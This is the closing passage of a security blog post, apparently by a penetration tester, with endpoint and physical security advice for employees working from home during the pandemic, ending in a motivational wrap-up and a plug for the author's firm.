Most users who work from home will typically use a laptop computer as an endpoint. However, some organizations use tablets, smartphones, and other devices as well. Regardless of the specific devices used, endpoint security for home-based corporate devices is paramount, as endpoints often store corporate files and can access sensitive data stored elsewhere by the organization. Securing endpoints goes beyond just installing antivirus. For organizations who already have a mature cybersecurity stack and have a routinely tested and patched golden image, these processes will be much smoother.

Some of the most important considerations to keep in mind when choosing from different endpoint security solutions are the following:

Ensure all endpoints connecting into your organization meet a minimum set of security requirements. If your organization needs to comply with HIPAA, PCI DSS, or other forms of governance, regulation, and/or frameworks, your endpoint security solutions need to abide by them, as well.
Endpoints should run an effective antivirus and firewall solution. If your organization has the budget for it, a Malware Prevention solution, like AppGuard, and an Endpoint Detection and Response (EDR) solution, like Carbon Black or CrowdStrike, would be good to have as well. Endpoints should be configured to log events (ideally by sending them to a controlled dedicated system, like Elastic).
Mobile Device Management (MDM) policies should be enforced, if applicable.
Enforce Full Disk Encryption (FDE) whereas possible.

Physical Security

If your organization or your users deal with sensitive data or have to comply with certain regulations, physical security should be taken into consideration for home-based work environments, too, other than for corporate locations.

The organization should enforce the following best practices to this regard:

Keep company assets in a locked drawer or similar when not in use.
If an employee lives with other people, make sure they understand that company assets are for company use only and that their family, friends, and others cannot have access to them.
Have employees set up their home offices in a part of their home not very exposed to prying eyes whenever possible – computer and mobile screens should never face uncovered windows and doors.
Depending on regulations that may need to be followed for your industry, certain locks and procedures may need to be implemented.
Users could end up having their devices lost or stolen as a reaction to the cabin fever, induced by the pandemic. Make sure employees understand their responsibilities for securing company assets. If they choose to work from a location other than their homes, they should be using a privacy screen and laptop locks, in addition to FDE and VPN.

Wrap-up

The world (and the information security scene with it) is facing an unprecedented scenario leading to a new industrial revolution, that all organizations will be forced to face. Such scenario will bring radical changes to the way we lead our lives, to the global economy and to our daily habits but, most importantly, will pose and is already posing new challenges and threats for organizations, to be faced head-on and as soon as possible, as their very survival is threatened.

Will your organization rise to the occasion?

How will you do faced with these new challenges?

A famous old movie quotation goes, "When the game is tough, the tough gets going".

This is time for all security professional to step up and help.

Now is time for all of us to give all we got and even more.

I feel very motivated by these new challenges and I'm trying to work harder and smarter than I did so far, to keep our clients safe and do our share.

I'm lucky enough to be part of a penetration testing company dealing with these challenges day and in day out, and I know how hard my coworkers and I are working to go the extra mile for our clients.

If we can help you in any way to face these new challenges and to remediate any incidents your organization might be experiencing as a result of an incorrect VPN implementation, you can directly contact our team at Polito, Inc.


Output from NMAP Script

The S@vvy_Geek Hacking & Pentesting Blog

HUMAN TOUCH - Why Manual Testing Still Matters, CYBR.SEC.CON. September 15, 2026

EXPLOITATION